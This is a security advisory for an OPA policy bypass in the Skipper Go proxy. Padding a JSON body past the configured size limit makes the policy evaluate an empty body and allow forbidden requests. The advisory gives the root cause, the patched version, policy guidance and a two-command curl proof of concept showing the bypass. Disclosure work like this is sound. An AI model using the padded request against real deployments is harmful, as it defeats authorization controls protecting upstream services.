high · 8.2Jul 17, 2026

Skipper opaAuthorizeRequestWithBody OPA Policy Bypass via Oversized Content-Length

Rohit Hatagale
AI Security Researcher, SecureLayer7

Sending a JSON body larger than Skipper's configured OPA body-size limit causes the policy engine to evaluate an empty document, so any deny-on-presence Rego rule silently passes the request through t

Packagegithub.com/zalando/skipper
Ecosystemgo
Affected< 0.27.26
Fixed in0.27.26

The problem

Skipper's `opaAuthorizeRequestWithBody` filter calls `ExtractHttpBodyOptionally` to read the request body before passing it to OPA. The prior fix for CVE-2026-50197 only capped `expectedSize` when `Content-Length` was -1 (chunked / HTTP-2). When a client declares a `Content-Length` larger than `maxBodyBytes`, the `expectedSize <= maxBodyBytes` guard is false, the read is skipped entirely, and `rawBodyBytes` is nil.

OPA receives an empty `parsed_body`. A deny-on-presence Rego policy (`allow = false if input.parsed_body.action == "delete"`) sees no `action` field, defaults to `allow = true`, and forwards the full payload to the upstream. The bypass works silently with no error logged.

Proof of concept

A working proof-of-concept for this issue in github.com/zalando/skipper, with the exact payload below.

bash
# Policy under test (default allow, deny-on-presence):
# default allow = true
# allow = false if input.parsed_body.action == "delete"
#
# Skipper configured with: WithMaxRequestBodyBytes(32)
#
# 19 bytes - BLOCKED (body fits within limit, OPA sees the field):
curl -X POST http://skipper-proxy/api \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete"}'
# => 403 Forbidden
#
# >32 bytes - BYPASS (oversized, OPA sees empty parsed_body, policy passes):
curl -X POST http://skipper-proxy/api \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","pad":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"}'
# => 200 OK  (upstream received the full forbidden payload)

The root cause is an off-by-one-branch error in `ExtractHttpBodyOptionally` (`filters/openpolicyagent/openpolicyagent.go`). The CVE-2026-50197 fix only substituted `expectedSize = maxBodyBytes` when `req.ContentLength < 0`. A request with a declared `Content-Length` exceeding `maxBodyBytes` bypasses that branch entirely, and the function returns `req.Body, nil, func(){}, nil` with `rawBodyBytes = nil`.

The patch in v0.27.26 adds a `truncated_body` boolean to the OPA input document (set `true` whenever the body was not fully read), letting policy authors explicitly deny truncated requests. The CWE is CWE-285 (Improper Authorization) compounded by an incomplete remediation pattern.

The fix

Upgrade to `github.com/zalando/skipper` v0.27.26. After upgrading, update every Rego policy that gates on body content to also check `input.attributes.request.http.truncated_body == false` (deny-by-default pattern) or `input.attributes.request.http.truncated_body == true` (allow-by-default pattern) so that oversized bodies are never silently authorized.

See the v0.27.26 release notes for updated policy examples.

Reported by Reported as part of an incomplete-patch measurement study (responsible disclosure).

References: [1][2][3]

Related research